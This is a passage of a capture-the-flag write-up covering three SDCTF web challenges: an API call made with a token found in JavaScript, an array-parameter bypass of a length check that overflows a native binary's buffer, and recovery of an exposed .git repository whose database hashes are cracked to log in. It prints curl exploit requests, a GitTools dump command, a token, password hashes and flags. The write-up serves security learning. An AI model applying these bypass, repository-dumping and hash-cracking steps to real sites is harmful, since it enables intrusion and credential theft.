spelled Token in JS So finally, providing the token in the json - import requests data = {"rocket": "triton", "launchTime": "12:00", "pumpID": 4, "token": "yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$} Yayy!! The rocket got launched. We have the flag. Flag sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$} GETS Request Disclaimer I did not solve the challenge in time. I found the solution on discord, later. This write-up helps you understand the detailed solution. TL;DR The website is intented to calculate the no. of primes under the given number. It takes the user provided number as a get-parameter - n Length of the get parameter is checked using length attribute in js This length check can be bypassed using passing n as an array like n[]. Now, how big the input is, array length, that is no. of elements in an array is going to stay 1. And the input is passed as an argument to a binary. But there was no buffer length check inside the binary. So this is a classic case of Buffer Overflow!. Here, just generating a segmentation-fault would give us the flag. Source code const spawn = require('child_process').spawn; const express = require('express'); const PORT = process.env.PORT || 1337; const app = express(); const BUFFER_SIZE = 8; app.get('/prime', (req, res) =&gt; { if(!req.query.n) { res.status(400).send('Missing required parameter n'); return; } // Here to check the length of `n`, length attribute is used if(req.query.n.length &gt; BUFFER_SIZE) { res.status(400).send('Requested n too large!'); return; } let output = ''; const proc = spawn(__dirname + '/primegen'); proc.stdout.on('data', data =&gt; output += data.toString()); proc.on('exit', () =&gt; res.send(output)); // call our super-efficient native prime generator! // Here, the user input is passed as argument to primegen binary proc.stdin.write(`${req.query.n}\n`); }) app.use('/', (req, res) =&gt; { res.sendFile(__dirname + '/index.html'); }); app.use('*', (req, res) =&gt; { res.status(404).send('Not Found'); }); app.listen(PORT, () =&gt; { console.log(`prime generator listening at http://localhost:${PORT}`) }) Solution Littile quirk in javascript Take a look at following javascript code Array is concatenated with a string - It’s like js tries to convert the elemnts in array into strings and performs the concatenation. If multiple arguments are specifies, it adds a , (comma) between the elements. So it a single element is provided the 'hello' and ['hello'] are treated same in certain scenario. So let’s make use of this later. Length check bypass In line 45 in above source code, there length check of n using length attribute. This attribute can also be used with the array to give number of elements in the array. Look the code below - Notice the difference!! So, if the parameter is passed as an array rather a string, that would bypass the length check. And same time the array will be treated as a string by JS and it is passed as an argument to a binary. Exploitation The request to get the primes count - curl https://gets.sdc.tf/prime?n=1000 There are exactly 192 primes under 1000 Trying larger number (more than 8 digits) as input - curl https://gets.sdc.tf/prime?n=123456789 Requested n too large! Send the same number as an array - curl https://gets.sdc.tf/prime?n[]=123456789 number malformed Cool. We didn’t hit the check now. But the binary doesn’t accept this number. As mentioned in the description, about memory issues, an ideal thought would be memory corruption, with a hypothesis, may be length of input is not checked in the binary but only has been checked in the JS. With this in mind, trying a larger number to overflow the buffer may cause a Segmentation Fault. Trying larger input - curl https://gets.sdc.tf/prime?n[]=12345678955555555555555555 buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds} Bingo!. We got the flag. Wait, what ?? How could a Segmentation Fault would give the flag ? The binary uses SIGSEGV signal and sigsegv_handler which are usually used for handling segmentation faults (Probably a bad idea! :). Here, in this case, the seg fault generates a SIGSEGV which evokes the sigsegv_handler which is just a some function to do something. Here the handler just prints the flag. Authour probably wanted to make the binary part of challenge, simple. Flag sdctf{B3$T_0f-b0TH_w0rLds} Git Good TL;DR Initial recon leads to robots.txt on the website with a /admin.html and /.git/ paths The /.git path was not accessible directly, as the directory listing was not enabled But checking any standard file like /.git/config would give a clue that version control repository was hosted in production So with help of a gitTools we can recover all the source code of website Source code has an database file with a weak password hash Crack the password to login and we have the flag Solution Checking into robots.txt two paths were disallowed User-agent: * Disallow: /admin.html Disallow: /.git/ Checking the /admin.html shows a login page but we still don’t have the credentials. Checking out the /.git/ - Not found error Cannot GET /.git/ From here, I was not really sure about what to do. It’s obvious that the challenge is related to git as challenge name indicates. I have no proper idea and was not able to remember that source code can even be retrived without directory listing enabled. Then my friend @koimet, who was well aware about this, used the tool from internetwache called GitTools to dump the source code of the website (easy-peasy). He used the following command: ./gitdumper.sh http://cgau.sdc.tf/.git/ ./&lt;folder-name&gt; Once he got the source, searching for important stuff revealed users.db sqilte file with emails and password hashes Quickly, reading the data using sqlite - sqlite&gt; .tables users sqlite&gt; SELECT * FROM users; 1|aaron@cgau.sdc.tf|e04efcfda166ec49ba7af5092877030e 2|chris@cgau.sdc.tf|c7c8abd4980ff956910cc9665f74f661 3|yash@cgau.sdc.tf|b4bf4e746ab3f2a77173d75dd18e591d 4|rj@cgau.sdc.tf|5a321155e7afbf0cfacf1b9d22742889 5|shawn@cgau.sdc.tf|a8252b3bbf4f3ed81dbcdcca78c6eb35 sqlite&gt; Cracking the first hash using hashes.com, we get the password which is weakpassword Cool. Now back to login page with the email and the password! Yay! We got the flag! Flag sdctf{1298754_Y0U_G07_g00D!} Takeaways Keep an eye on parameters which might have different functionalities Always search for API tokens, Authorization tokens and other important data in JavaScript files Check if the website has version control repos in the production Dig into every part of the source code to exploit more! Try in different ways to bypass checks and other functionalities. Search for quirks. Google it. Try to use previous bypasses in other platforms on the current platform. May be sometimes that works or just gives a clue of further exploitation. Happy Hacking! Feel free to provide feedback.]]></summary></entry></feed>